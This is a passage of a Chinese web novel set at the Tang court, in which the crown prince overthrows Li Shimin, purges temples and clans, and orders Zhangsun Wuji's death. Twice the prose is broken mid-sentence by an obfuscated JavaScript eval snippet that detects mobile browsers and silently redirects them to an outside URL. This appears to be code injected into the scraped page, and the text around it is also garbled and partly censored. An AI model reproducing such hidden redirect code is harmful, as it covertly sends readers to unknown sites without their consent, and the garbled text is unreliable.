他脸上的血色,瞬间褪得一干二净,那刚刚因为希望而亮起的眼眸,也彻底黯淡了下去,化为一片死寂的,绝望的深渊。 清君侧…… 清君侧! 多么熟悉的三个字! 二十年前,他就是打着这个旗号,在这里,杀了自己的兄长和弟弟! 二十年后,这个旗号,竟然被用在了他自己的身上! 而举起这面反旗的,不是别人,正是他最信任的,那些将门之后! 秦琼的儿子!程咬金的儿子!尉迟恭的儿子! 他们的父辈,是跟着他一起从尸山血海里杀出来的,是他最倚重的左膀右臂! 可他们的儿子,现在却要带着三十万大军,来“清”他这个君主的“侧”! 这是何等的讽刺!何等的荒唐! “噗——” 腥甜的液体,再也压抑不住,猛地从李世民口中喷涌而出,血洒龙袍。 他眼前的世界,开始天旋地转。 他看到了那三十万大军,黑压压的一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253063|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如同乌云盖顶,向着长安城,席卷而来。 他听到了那震天的马蹄声,和“清君侧,奉新皇”的怒吼声。 完了。 这一次,是真的完了。 他最后的希望,被这封来自北境的军报,彻底碾得粉碎。 “陛下!” “父皇!” 长孙无忌、魏征等人,发出了惊骇的呼喊。 可他们的声音,在此刻显得那么遥远,那么无力。 城楼下,秦琼、程咬金、尉迟恭三人,更是如遭雷击,呆立当场。 “逆子!这个逆子!”程咬金气得浑身发抖,一把揪住自己的大胡子,铜铃般的大眼睛里,满是愤怒和不敢置信。 秦琼的脸色,更是变得煞白,他捂着胸口,那里,旧伤又在隐隐作痛。 他们怎么也想不明白,自己那几个平日里只知道舞刀弄枪的憨直儿子,怎么会干出这种通天的大事来? 他们疯了吗?! 而李承乾,在听到这封军报的内容时,那**不变的冰山脸上,终于,露出了微不可察的,满意的笑容。 很好。 一切,都在他的计划之中。 玄武门城楼上的风,更冷了。 李世民的身体,像一棵被狂风吹倒的老树,瘫软在冰冷的城砖上。他身边的内侍和官员们手忙脚乱,却无人敢真正上前。 因为,李承乾,这位大唐的太子,正一步一步地,朝着他的父皇走去。 他的脚步很轻,很稳,军靴踩在沾染了李世民鲜血的石板上,没有发出一点声音。 他就这样,走到了李世民的面前,居高临下地,俯视着这个给了他生命,却又给了他无尽痛苦和猜忌的男人。 “父皇。” 李承乾开口了,声音依旧是那样的平静,不带波澜。 “您刚才说,民心是您的底牌?” 李世民艰难地抬起头,他那双曾经锐利如鹰的眼眸,此刻已经浑浊不堪,充满了血丝和绝望。他看着自己的儿子,嘴唇翕动,却一个字也说不出来。 李承乾轻轻地笑了一下。 “您错了。” “民心,从来都不是属于某个人的。它就像流水,谁能给它带来好处,它就流向谁。” “您所谓的贞观之治,对那些被佛寺逼得家破人亡的百姓来说,是什么?对那些被世家欺压得抬不起头的寒门士子来说,又是什么?” “在他们眼里,您和那些高高在上的佛陀,那些作威作福的世家,没有区别。” “都是压在他们头上的大山!” “而我,”李承乾顿了顿,声音里带上了傲然,“我今天,就是要帮他们,推翻这些大山!” “所以,他们为什么要反对我?” “至于军队……”李承乾的目光,转向了城楼下那些面如死灰的武将,“父皇,您也错了。” “他们忠诚的,是大唐,是李家的江山。而不是某一个,坐在龙椅上,任由蛀虫啃食帝国根基的皇帝。” “我,是太子,是名正言顺的储君。我清洗佛门,铲除世家,是为了让大唐变得更强盛。他们,为什么要反对我?” 一番话,字字诛心。 李世民的身体,剧烈地颤抖起来。 他想反驳,却发现李承乾说的每一句话,都像一把刀子,精准地插在他的要害上,让他无力反驳。 是啊。 他一直以为,自己掌控着一切。 掌控着朝堂,掌控着军队,掌控着民心。 可到头来,他才发现,那都只是他的一厢情愿。 当他不再是那个能给天下带来利益的英明君主时,他所拥有的一切,都会毫不留情地背叛他。 就像二十年前,他的父亲李渊一样。 历史,是何其的相似。 这,就是报应吗? 李世民的心中,充满了无尽的悲凉与悔恨。 他看着眼前的李承乾,这个他亲手培养,又亲手打压的儿子。 他看到了他身上,有自己当年的影子。 不,他比当年的自己,更狠,更绝,更可怕。 当年的自己,杀兄弑弟,逼父退位,虽然手段酷烈,但终究还是在规则之内行事。他还需要拉拢朝臣,需要安抚世家,需要顾及天下人的看法。 可承乾,他完全没有这些顾忌。 他视规则如无物,视人命如草芥。 他要的,不是简单的皇位更迭。 他要的,是一场彻彻底底的,从上到下的,血腥大清洗! 他要砸碎这个旧世界,然后在一片废墟之上,建立一个完全属于他的新世界! 李世民彻底绝望了。 他知道,自己已经没有任何翻盘的可能了。 他闭上眼睛,等待着最后审判的降临。 是赐一杯毒酒?还是一尺白绫? 又或者,是像他的兄弟们一样,死在这玄武门的乱刀之下? 然而,李承乾接下来的话,却再次出乎了他的意料。 “父皇,您放心。” 李承乾的声音,突然变得有些柔和。 “儿臣,不会杀您。” 李世民猛地睁开眼睛,难以置信地看着他。 “儿臣,也不会逼您退位。”李承乾继续说道,“您,依然是大唐的天子,依然是这天下的主宰。” 这话一出,不仅是李世民,连周围的长孙无忌、魏征等人都愣住了。 他……他到底想干什么? 费了这么大的周章,掀起如此滔天的杀戮,难道不是为了那个至高无上的位置吗? 李承乾看着众人那惊疑不定的表情,嘴角的笑意,变得愈发冰冷和残忍。 “杀了您,太便宜您了。” 他缓缓蹲下身,与瘫坐在地上的李世民对视,声音轻得如同魔鬼的耳语。 “父皇,您不是最在乎您的‘贞观之治’吗?您不是最看重您那‘千古一帝’的名声吗?” “那好啊。” “儿臣,就让您亲眼看着,您所建立的一切,是如何在儿臣的手中,一点一点,被彻底推翻的。” “您将继续坐在这龙椅之上,但您将不再有任何权力。您将成为一个傀儡,一个摆设。” “您将亲眼看着,儿臣是如何清洗朝堂,如何铲除门阀,如何将您扶持的佛门,连根拔起。” “您将亲眼看着,儿臣是如何废除您的政令,是如何建立一个全新的,您完全不认识的大唐。” “您将每天都活在悔恨和痛苦之中,看着您的江山,变成儿臣的江山。看着您的子民,高呼儿臣的名字。” “这,才是对您,最好的惩罚。” “父皇,”李承乾站起身,重新恢复了那副高高在上的姿态,用一种近乎宣判的语气,缓缓说道: “这江山,您,就给儿臣……看好了。” 第139章 赐死长孙无忌 李承乾让李世民看好了。 他如何施展政令! 此时玄武门外,大唐高僧玄奘,一直在看着眼前发生的一切。 一众和尚全部被斩首。 高徒辩机在受凌迟之刑。 凌迟之刑需要割上三千刀,世间最残酷的刑法,莫过于此! 李世民默默的看向李承乾。 此时,李承乾已经开始发号施令。 李世民知道大势已去,无论是虚空之上的三千蜀山剑仙。 还是曾经效忠他的大唐不良人反戈。 他都知道他已经走到了尽头! 第一道政令,指向佛门。 “传孤之令!查抄天下所有佛寺!僧侣凡有犯戒者,一律驱逐还俗!凡有过往罪行者,严惩不贷!” “所有佛寺田产、商铺,尽数收归国有!所得钱粮,一半充入国库,一半……用于抚恤在历次战争中牺牲的将士家属,以及救济天下孤苦!” “自今日起,大唐境内,僧人亦是国民,需守大唐律法,需纳国家税赋!佛门,再无法外之地!” 这道政令一出,天下哗然。 那些曾经富可敌国,作威作福的佛寺,一夜之间,土崩瓦解。 无数被他们强占的良田,回到了百姓的手中。 无数被他们搜刮的金银,变成了国库里实实在在的钱粮。 而那些曾经高高在上,受万民供养的僧侣,则被打落凡尘,要么还俗为民,要么……就在大牢里忏悔自己的罪孽。 百姓们,欢呼雷动! 尤其是那些曾经被佛寺欺压过的百姓,更是对太子殿下感恩戴德,甚至有人在家中,为太子立起了长生牌位。 第二道政令,指向门阀。 “传孤之令!废除门阀制!开科举,不问出身,不问门第,唯才是举!” “所有查抄的世家门阀之田产,尽数分于天下无地之农户!凡大唐子民,皆可按人头,分得永业田!” “凡世家门阀之藏书,尽数收归国有,于长安、洛阳两地,建立皇家书馆,天下士子,皆可入内阅览!” 这一道政令,更是石破天惊! 废除九品中正制,开科举! 这是在刨世家门阀的根! 他们之所以能垄断朝堂数百年,靠的就是对官位的**和对知识的垄断。 而现在,李承乾用最直接的方式,将这两样东西,彻底打碎,然后……分给了天下所有的寒门士子和普通百姓! 一时间,天下寒门,无不为之振奋! 他们看到了希望!看到了一个可以凭借自己的才华,真正出人头地的希望! 他们对这位铁血太子的拥护,达到了前所未有的顶峰! “所有将士,按功绩,皆有封赏!牺牲将士,其家属由朝廷供养,其子女,可入国子监读书!” “自今日起,提高军人地位!凡军属,可见官不跪!” 这道政令,更是让整个大唐的军队,彻底沸腾了! 自古以来,军人地位就不高,被文官看不起,被世人称作“丘八”。 可现在,太子殿下,竟然要为他们正名! 可见官不跪!这是何等的殊荣! 一时间,“太子殿下千岁”的呼喊声,不仅响彻在长安城,更响彻在北境的军营之中! 秦怀玉、程处默等人,在接到这道圣旨时,一个个激动得热泪盈眶。 他们知道,他们赌对了! 太子殿下,才是真正懂他们,真正看重他们这些武人的明主! 短短数日,三道政令,如同三把快刀。 快刀斩乱麻! 李承乾用最直接,最有效的方式,将佛门、世家这两个盘踞在大唐身上数百年的毒瘤,连根拔起。 同时,又将寒门士子、普通百姓、底层军人这三个最庞大,也最被忽视的群体,牢牢地绑在了自己的战车之上! 他正在用一种前所未有的方式,重塑着整个大唐的秩序。 这个过程,充满了血腥和暴力。 长安城的大牢里,每天都有人被拖出去**。 曾经高高在上的世家子弟,如今成了阶下囚,他们的哀嚎,无人理会。 但长安城的街头,却出现了久违的安宁和希望。 分到土地的农民,脸上露出了憨厚的笑容。 得到赏赐的军属,挺直了腰杆。 捧着书卷的寒门士子,眼中闪烁着光芒。 一个新的秩序,正在血与火的洗礼中,冉冉升起。 而这个新秩序的缔造者,李承乾,此刻正站在玄武门中,冷冷地看着跪在他面前的三个人。 长孙无忌,房玄龄,魏征。 这三位,曾经是大唐朝堂之上,权势最盛的三根擎天玉柱。 而现在,他们不过是……阶下囚。 玄武门上,安静得能听到烛火燃烧时发出的轻微“噼啪”声。 李承乾端坐在那张象征着至高权力的龙椅之上,手指轻轻地敲击着扶手,目光平静地看着跪在下方的三位老臣。 房玄龄和魏征,此刻已经彻底没了声息。 他们一个面如死灰,一个老泪纵横。 他们看到了太子雷厉风行的手段,也看到了新政颁布后,长安城内那些底层百姓和士子们的欢呼。 他们知道,大势已去。 无论他们心中对太子的酷烈手段有多么不认同,但他们也不得不承认,太子正在做一件,对这个国家来说,或许是正确的事情。 他们的心,很复杂。 有悲哀,有无奈,但更多的,是一种英雄迟暮,被时代抛弃的无力感。 而长孙无忌,与他们不同。 他跪在那里,身体虽然也在微微颤抖,但他的头,却始终低着,让人看不清他脸上的表情。 他的心中,没有悲凉,没有无奈。 只有恐惧。 深入骨髓的,无边的恐惧。 因为他知道,房玄龄和魏征,或许还能留下一条性命。 因为他们对太子来说,是“公敌”,是旧有秩序的代表。太子拿下他们,是为了立威,是为了向天下人展示自己的决心。 而他,长孙无忌,不一样。 他是太子的亲娘舅,是皇后的亲哥哥。 他对太子来说,是“私仇”! 是背叛者! 所以,他也最该死! “房相,魏大人。” 李承乾终于开口了,打破了殿内的死寂。 他的声音很平静。 “你们二人,辅佐父皇,开创贞观盛世,劳苦功高。这一点,孤,认。” 房玄龄和魏征闻言,浑身一震,难以置信地抬起头。 “但是,”李承乾话锋一转,声音陡然变冷,“你们尸位素餐,蒙蔽圣听,对佛门之恶,世家之患,视而不见,此乃大罪!这一点,孤,也认!” “功过,不能相抵。” “所以,死罪可免,活罪难逃。” 李承乾看着二人,缓缓说道:“从今日起,免去你们二人一切官职,收回所有封赏。你们,就安心地,回乡养老去吧。” “这,是孤对你们,最后的仁慈。” 房玄龄和魏征,怔怔地看着李承乾。 他们想过无数种结局,被赐死,被流放,被终身监禁…… 却唯独没有想过,竟然是……放他们回家? 一时间,两位老臣百感交集,不知是该庆幸,还是该悲哀。 他们对着李承乾,重重地,磕了一个头。 “臣……谢殿下不杀之恩。” 声音,苍老而沙哑。 “带他们下去吧。”李承乾挥了挥手,像是赶走两只苍蝇。 两名不良人上前,将已经站不稳的房玄龄和魏征,架了出去。 一个,是高坐于龙椅之上的,李承乾。 另一个,是跪在冰冷地砖之上的,长孙无忌。 气氛,在这一瞬间,变得无比压抑和诡异。 李承乾没有说话,他只是用那双深不见底的眼睛,静静地看着自己的舅舅。 而长孙无忌,则将头埋得更低了。 他能感觉到,那道目光,像两把锋利的刀子,正在将他寸寸凌迟,将他内心深处所有阴暗的,卑劣的,自私的算计,都血淋淋地剖开,暴露在光天化日之下。 时间,一分一秒地过去。 每一秒,对长孙无忌来说,都是一种煎熬。 终于,他再也承受不住这种无声的折磨。 “殿下……”他开口了,声音嘶哑得不成样子,“臣……有罪,罪该万死。只求殿下,看在……看在娘娘的份上,能饶过长孙家,其他人……” “娘娘?” 李承乾打断了他的话,声音里带着一丝嘲弄。 “舅舅,你现在,还有脸跟孤提母后?” 长孙无忌的身体,猛地一震。 李承乾缓缓地从龙椅上站起,一步一步,走到长孙无忌的面前。 他的影子,将长孙无忌完全笼罩。 “孤一直想不明白。” 李承乾的声音很轻,却像一柄重锤,狠狠砸在长孙无忌的心上。 “孤,是你的亲外甥。母后,是你的亲妹妹。我们,才是一家人。” “可你,为什么要帮着外人,来对付我?” “为什么,在父皇猜忌我,打压我的时候,你从来没有为我说过一句公道话?” “为什么,在魏王李泰,晋王李治,上蹿下跳,觊觎东宫之位的时候,你选择了冷眼旁观,甚至……在暗中推波助澜?” 李承乾每问一句,长孙无忌的身体,就颤抖一分。 到最后,他已经抖得像筛糠一样。 “你身为国舅,身为百官之首,想的不是如何辅佐孤,巩固我李唐的江山。” “你想的,是如何在这场储位之争中,左右逢源,待价而沽!” “你想的,是谁能给你长孙家,带来最大的利益!” “你想的,是让你长孙家,成为第二个,第三个,凌驾于皇权之上的千年门阀!” “舅舅,”李承乾俯下身,看着长孙无忌那张已经毫无血色的脸,一字一句地说道: “孤说的,对吗?” 长孙无忌的心理防线,在这一刻,彻底崩溃了。 他知道,自己所有的伪装,所有的算计,在这个外甥面前,都成了一个笑话。 他看透了一切! “不……不是的……”长孙无忌还在做着最后的,徒劳的辩解,“殿下,你误会了……臣所做的一切,都是为了大唐,为了避免……避免再发生一次玄武门之变啊!” “为了大唐?” 李承乾凄然一笑,那笑容里,充满了无尽的悲凉和失望。 “舅舅,你骗得了别人,骗得了父皇,甚至骗得了母后。” “但你,骗不了我。” 他站直身体,声音恢复了冰冷。 “你以为,你和那些世家暗中的勾结,孤不知道吗?” “你以为,你借着佛门的手,敛了多少不义之财,孤不知道吗?” “你以为,你暗中扶持李泰,打压孤,是想让他当皇帝吗?” 李承乾冷笑一声。 “不,你不是。你只是想让我们兄弟相争,斗得两败俱伤。然后,你再扶持一个最弱小,最听话的傀儡,比如……晋王李治,上台。” “这样,你长孙无忌,就可以效仿霍光,做这大唐的……摄政王了!” “孤说的,对吗?!” 最后一句,李承乾几乎是吼出来的。 而长孙无忌,在听到这番话的瞬间,整个人如遭雷击。 他猛地抬起头,那双素来深沉的眸子里,第一次,露出了真正的,无边的恐惧。 他……他怎么会知道?! 这些,都是他藏在内心最深处,连做梦都不敢说出来的秘密! 他怎么会知道得一清二楚?! 看着长孙无忌那惊骇欲绝的表情,李承乾知道,他猜对了。 他的心中,没有半分快意。 只有一片冰冷的,被至亲之人背叛后的,荒芜。 “舅舅,”他的声音,变得无比疲惫,“孤,给过你机会。” “可你,没有珍惜。” 他转过身,不再看他。 “来人。” 两名不良人,无声地出现在殿中。 “赐……赵国公,自尽。” 李承乾顿了顿,补充了一句。 “留他一个全尸。就当是……孤,看在母后的面上,给他的,最后一点体面。” 说完,他迈开脚步,头也不回地,走出了这座冰冷的,充满了权欲和背叛的太极殿。 只留下长孙无忌,一个人,瘫跪在空旷的大殿中央,面如死灰,眼神空洞。 良久。 一声凄厉的,充满了悔恨和不甘的惨笑,从他喉咙里发出,回荡在太极殿的横梁之上,久久不散。 “呵呵……哈哈哈哈……好外甥……我的好外甥啊!” 当长孙无忌在玄武门内,用一杯毒酒,了结了自己那充满了权谋与算计的一生时。 这个消息,也以最快的速度,传到了后宫深处,那座同样冰冷的立政殿。 长孙皇后已经醒了。 她没有哭,也没有闹。 她只是静静地,端坐在凤座之上,那张曾经风华绝代的脸上,此刻只剩下一种深入骨髓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253064|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的疲惫和哀伤。 她听着宫女用颤抖的声音,汇报着外面发生的一切。 太子监国。 查抄佛寺。 废除九品中正,开科举。 清洗门阀世家。 还有……赐死她的亲哥哥,长孙无忌。 她每听一件,脸色就白一分。 到最后,她那张脸上,已经看不到一丝血色,宛如一尊精美的,却没有生命的玉雕。 她知道,一切都结束了。 她的丈夫,那个她爱了一生,也敬了一生的男人,已经成了一个被架空的傀儡,一个活着的耻辱。 她的哥哥,那个她一直以为是家族依靠的顶梁柱,已经成了一杯黄土,一个罪有应得的权臣。 而她的儿子,那个她曾经寄予了所有希望的长子,则变成了一个她完全不认识的,冷酷无情的魔鬼。 这个家,散了。 彻彻底底地,散了。 就在她心如死灰,万念俱灰之时。 殿外,传来了一阵沉稳的脚步声。 宫女和太监们,如同见了鬼一般,纷纷跪伏在地,将头埋得低低的,连大气都不敢喘一口。 长孙皇后缓缓地抬起头。 她看到了。 她的儿子,李承乾,正一步一步地,朝着她走来。 他依旧穿着那身玄色的劲装,身上还带着淡淡的血腥气。 他的脸上,依旧是那副冰冷的,不带任何感情的表情。 他走到她的面前,停下。 “母后。” 他微微躬身,声音里听不出任何情绪。 长孙皇后静静地看着他。 她看着这个自己一手带大,如今却变得如此陌生的儿子。 她的心中,已经没有了愤怒,没有了悲伤。 只剩下一种无边无际的,空洞的疲惫。 “承乾。” 她开口了,声音轻得像一阵风,随时都会散去。 “你都……做完了?” “是。”李承乾平静地回答。 “我哥哥……是你杀的?” “是他自己,选择了死路。”李承乾的回答,依旧是那样的冷酷,那样的不带一丝温度。 长孙皇后闻言,凄然一笑。 是啊。 是他们,一步一步,把这个曾经温良恭俭让的儿子,逼成了今天的魔鬼。 是她的丈夫,用无情的猜忌和打压,磨灭了他心中最后一丝父子之情。 是她的哥哥,用自私的权谋和算计,斩断了他心中最后一丝亲情的羁绊。 而她自己呢? 她这个做母亲的,又做了什么? 她只是在无力地劝说,在徒劳地哀求,在虚伪的亲情和残酷的现实之间,摇摆不定。 她从来没有真正地,站在这孩子的一边,为他遮挡过一丝一毫的风雨。 她,也有罪。 想到这里,长孙皇后的眼中,流下了两行清泪。 那泪水,冰冷而苦涩。 她看着眼前的李承乾,看着他那张英俊却冷酷的脸,看着他那双再也看不到一丝光亮的眼睛。 她的心,像被一只无形的手,狠狠地揪着,痛得她几乎无法呼吸。 她缓缓地,向他伸出了手。 那只手,曾经无数次地,抚摸过他的脸颊,为他擦去嘴角的奶渍,为他整理凌乱的衣领。 而现在,这只手,却在微微地颤抖。 李承乾沉默了片刻。 最终,他还是微微俯下身,让母亲那只冰冷的手,抚上了自己的脸颊。 那触感,粗糙,而又冰凉。 像一块即将碎裂的玉。 “承乾……” 长孙皇后的声音,轻得像梦呓。 “你……后悔吗?” 李承乾的身体,几不可察地,僵了一下。 后悔吗? 他看着母亲那双充满了哀伤和疲惫的眼睛。 他想起了,自己小时候,生病发烧,是母亲抱着他,彻夜不眠。 他想起了,自己刚被立为太子时,是母亲拉着他的手,一遍遍地教导他,要仁爱,要宽厚。 他想起了,在益州那段最黑暗,最绝望的日子里,是母亲偷偷派人送来的书信和衣物,给了他唯一的一丝温暖。 那些温暖,是真的。 那些爱,也是真的。 可是,那又如何? 在这**的皇宫里,在这冷酷的权力斗争中,温暖和爱,是最没用的东西。 它们只会成为你的软肋,成为敌人攻击你的武器。 只有变得比所有人都更冷酷,更无情,才能活下去。 才能……赢。 李承乾缓缓地,闭上了眼睛。 将心中那最后一丝,也是最致命的软弱,彻底压了下去。 再睁开时,他的眼中,只剩下如铁的坚定。 “不悔。” 他轻轻地,吐出了两个字。 听到这两个字,长孙皇后那只抚在他脸上的手,无力地,滑落了下去。 她眼中的最后一丝光亮,也彻底熄灭了。 她看着眼前的儿子,仿佛在看一个陌生人。 她知道,她,已经彻底地,失去了这个儿子。 她缓缓地,收回了目光,看向了殿外那片阴沉的天空。 “陛下……臣妾……累了……” 她喃喃自语,声音越来越轻,越来越轻。 凤冠上华丽的流苏,轻轻地,敲打在她那张再也不会有任何表情的脸上。 李承乾静静地站在原地。 他看着母亲心被狠狠地刺穿了。 疼。 疼得他几乎无法呼吸。 他以为,自己早已舍弃了一切,早已变得心如铁石。 可直到这一刻,他才发现。 原来,他还是会疼。 原来,在这座冰冷的宫殿里,他,终究还是失去了,那唯一的一点,属于人的温度。 他缓缓地,闭上了眼睛。 一滴滚烫的泪,从他那冷酷的眼角,悄然滑落。 很快,便消散在了这冰冷的,充满了死亡气息的空气里。 再睁开眼时,他的眼中,只剩下无边的,孤寂的,属于帝王的,永夜。 玄武门外还有属于李世民的最后一支军队。 苏定方率领的大唐长安守军。 玄武门上,李承乾看着这支雄壮的长安守卫军,他不想与这些大唐守卫军厮杀,他想劝降。 如今长安城大局已定,长安城外,秦怀玉等人已经率领百万大军,兵临城下。 苏定方率领的长安守卫军,已经没有理由继续反抗下去。 第140章 锁妖塔!蜀山掌门清微道长,亲临玄武门! 玄武门外。 苏定方那只紧握着马槊的手,青筋毕露,微微颤抖。 他身后,十万大军的呼吸声粗重而压抑,像一头被困在牢笼中的巨兽。 李承乾的话,每一个字都像一柄重锤,砸碎了他们心中名为“忠诚”的最后一道壁垒。 是啊,为何而战? 为那个已经众叛亲离的皇帝? 还是为自己和家人的未来? 答案,不言而喻。 军心,已经散了。 苏定方缓缓抬起头,越过城楼上那个冷酷的玄衣身影,望向他身后,那个颓然靠在城垛上,满身血污的帝王——李世民。 李世民读懂了他眼中的询问。 这位千古一帝的脸上,浮现出一抹惨淡到极致的笑容。 他用尽最后的力气,对着城外的苏定方,轻轻地,挥了挥手。 那动作,充满了疲惫与释然。 像是在说:降了吧。 别再为我这个失败者,做无谓的牺牲了。 看到这个手势,苏定方那一直紧绷如铁的身体,瞬间垮了下去。 他眼中的最后一点光,也随之熄灭。 他缓缓地,松开了紧握马槊的手。 沉重的马槊,即将脱手而出,砸在这片见证了太多杀戮的土地上,为这场惊天动地的玄武门之变,画上一个句号。 然而,就在此时! “铛——!” 一声悠扬的钟鸣,毫无征兆地从长安城深处响起! 这钟声,不似晨钟暮鼓那般悠远,也不似警钟那般急促。 它宏大,庄严,带着一种难以言喻的厚重与威严,是从天地初开之时传来,响彻在每一个人的灵魂深处。 钟声响起的一瞬间,天空中那三千蜀山剑仙身上散发出的,足以撕裂苍穹的锋锐剑意,竟如同春雪遇暖阳,被无形的力量抚平、压制,甚至…… 逼退了数分! 玄武门城楼上,李承乾那万年不变的冰山脸上,第一次,露出了凝重的神色。 他猛地抬头,望向钟声传来的方向——那是国子监与孔庙的所在! 与此同时,另截然不同的气息,从皇城之内,太庙的方向,冲天而起! 那是磅礴浩瀚,尊贵至极的皇道龙气! 它不如李世民身上的龙气那般霸道张扬,却更加纯粹、古老、深沉,是大唐李氏数百年的气运凝聚而成! 两股气息,一者如渊渟岳峙,煌煌天威;一者如龙潜深渊,厚积薄发。 它们瞬间交织在一起,形成了一道无形的屏障,竟硬生生地将百万大军兵临城下的肃杀之气,也抵挡在了长安城外! 这突如其来的变故,让所有人都愣住了。 即将放下兵器的长安守卫军,动作凝固了。 城楼上心如死灰的李世民,眼中也重新燃起了错愕与茫然。 这是…… 什么力量? 在众人惊疑不定的目光中,朱雀大街的尽头,出现了两队人马。 左边一队,人人身着白色儒袍,头戴方巾,不疾不徐,步履从容。 为首的是一位须发皆白的老者,他面容清癯,手持一根鳩杖,看似行将就木,但一双眼眸却亮如星辰,蕴含着天地至理。 他每踏出一步,周身便有无数淡金色的文字虚影环绕飞舞,口中在吟诵着什么古老的经文,那宏大庄严的钟声,正是从他身上发出! “山东曲阜,衍圣公孔伯渊,见过太子殿下。” 老者的声音不大,却清晰地传入每个人耳中,带着一种教化天下、不容置疑的威严。 衍圣公! 孔圣后人! 天下儒家之首! 而右边一队,则更加令人心惊。 他们人数不多,只有寥寥数十人,却个个气息深沉,龙行虎步。 为首之人,同样是一位老者,他身着一袭朴素的灰色道袍,鹤发童颜,仙风道骨,但眉宇间那股与生俱来的贵气,却比龙椅上的李世民还要浓烈! 他看似闲庭信步,但每一步落下,脚下都有无形的龙气在翻腾! “太上忘情,李道玄,见过太子殿下。” 太上忘情! 这四个字一出,连李世民的身体都猛地一震! 李道玄,李渊的弟弟。 师承太上忘情,据说已经元婴大修士。 这是大唐皇族的根! 是真正执掌着李氏宗族权柄,连皇帝都必须敬畏三分的“太上道”! 儒家圣人与太上道,这两股足以撼动大唐国本的势力,竟然在这个最关键的时刻,同时出现了! 李承乾看着城下这两个突然出现的老者,眼神前所未有的冰冷。 他算到了一切,算到了李世民的底牌,算到了朝臣的反应,算到了军心的向背,却唯独没有算到,这两股一直隐藏在历史长河深处的“老不死”,会亲自下场! “衍圣公,李家老祖。” 李承乾缓缓开口,声音听不出喜怒,“孤在玄武门清理门户,拨乱反正,不知二位,有何见教?” 衍圣公孔伯渊停下脚步,手中鳩杖轻轻一点地面,一道无形的音波扩散开来,竟让周围的血腥气都淡了几分。 “殿下此言差矣。” 他看着李承乾,眼神里带着失望和痛心,“天子失德,宠信佛门,致使妖僧乱国,此乃其过。然,殿下以杀证道,屠戮玄武门,清洗长安城,视人命如草芥,视礼法如无物,此,非拨乱反正,乃是……以暴易暴,动摇国本!” “不错。” 一旁的李道玄也冷冷开口,他的目光扫过城楼上的李世民,带着恨铁不成钢的意味,但随即又转向李承乾,变得无比锐利。 “我李氏的江山,不是你一个人的江山!储君之争,父子相残,此乃家门之不幸,更是社稷之大不幸!承乾,你今日之举,已逾越了人子、人臣之底线!若让你这等心性凉薄、嗜杀成性之人登临大宝,我大唐,危矣!” 二人一唱一和,瞬间便将李承乾从“清君侧”的道德高地,打成了“动摇国本”的乱臣贼子! 苏定方和他身后的十万大军,刚刚熄灭的战意,再次被点燃了! 是啊! 他们效忠的,不仅仅是皇帝李世民,更是大唐的社稷,是这片土地的“正统”与“规矩”! 如今,儒家之首和皇族之长都站了出来,指责太子是“**”,那他们,是不是应该重新拿起武器,捍卫这天地间的“礼法”与“正道”?! 李承乾看着下方重新变得微妙的局势,看着苏定方眼中再次燃起的挣扎,他笑了。 那笑容,冰冷而嘲弄。 “礼法?规矩?正统?” 他缓缓地,一字一顿地说道,声音里充满了无尽的蔑视。 “你们所谓的礼法,就是让世家门阀垄断知识,永世高高在上?” “你们所谓的规矩,就是让我李氏皇族,为了所谓的颜面,容忍佛门这种毒瘤,吸干帝国的骨髓?” “你们所谓的正统,就是选一个平庸懦弱的守成之君,继续在这个腐朽的棋盘上,和你们这些老而不死的下棋?” 玄武门前,李承乾那句“孤要掀了这张桌子”,如同一道惊雷,炸得所有人耳膜嗡嗡作响。 他身上那股以杀证道的狂暴气焰,与天空中的三千剑仙连成一片,化作一柄悬于长安之上的达摩克利斯之剑,下一刻就要落下,将这旧有的一切都斩得粉碎! 然而,衍圣公孔伯渊与陇西李氏老祖李道玄,这两位代表着世俗“礼法”与“正统”的泰山北斗,脸上却没有丝毫惧色。 孔伯渊甚至没有再看李承乾一眼。 他缓缓抬起头,那双蕴含着千百年智慧的眼眸,穿透了重重杀机,望向了悬浮于虚空之上的三千道身影。 他的目光,精准地落在了为首那两道气息最强的身影之上——一个周身有凤鸣之声环绕,一个则带着猛虎下山凛然煞气。 “凤道人,虎道人。” 衍圣公开口了,声音平缓,却带着一种不容置疑的威严,清晰地传入了九天之上。 “老夫与贵派上一代的清微道长,曾有坐而论道之谊。蜀山剑派,向来是方外清修之地,为何今日要踏足凡尘,助纣为虐?” “李承乾弑兄囚父,屠戮京师,此乃大逆不道之举!你们助他,便是与天下为敌!与人伦纲常为敌!” “速速退去,老夫可当今日之事从未发生。否则,” 孔伯渊手中鳩杖重重一顿,声色俱厉,“休怪天下儒生笔伐口诛,将你蜀山,钉在这历史的耻辱柱上,永世不得翻身!” 话音落下的瞬间,异变陡生! “风!风!大风!” 宏大而庄严的吟诵之声,不知从何而起,是从国子监,从孔庙,从长安城内每一间书院,每一户读书人的口中同时发出! 无数淡金色的文字,从城中各处升腾而起,那是《论语》,是《春秋》,是《礼记》…… 是儒家传承千年的思想精粹! 这些文字在空中汇聚成一条浩浩荡荡的金色长河,环绕在孔伯渊的周身,至阳至刚、煌煌大气的“浩然正气”,冲天而起! 这股气息,与蜀山剑仙那锋锐、冰冷的剑意截然不同。 它不杀戮,不毁灭,却充满了教化万民、匡扶社稷的厚重与威严! “嗡——!” 浩然正气与漫天剑意,在半空中轰然对撞! 没有惊天动地的**,只有无声的交锋。 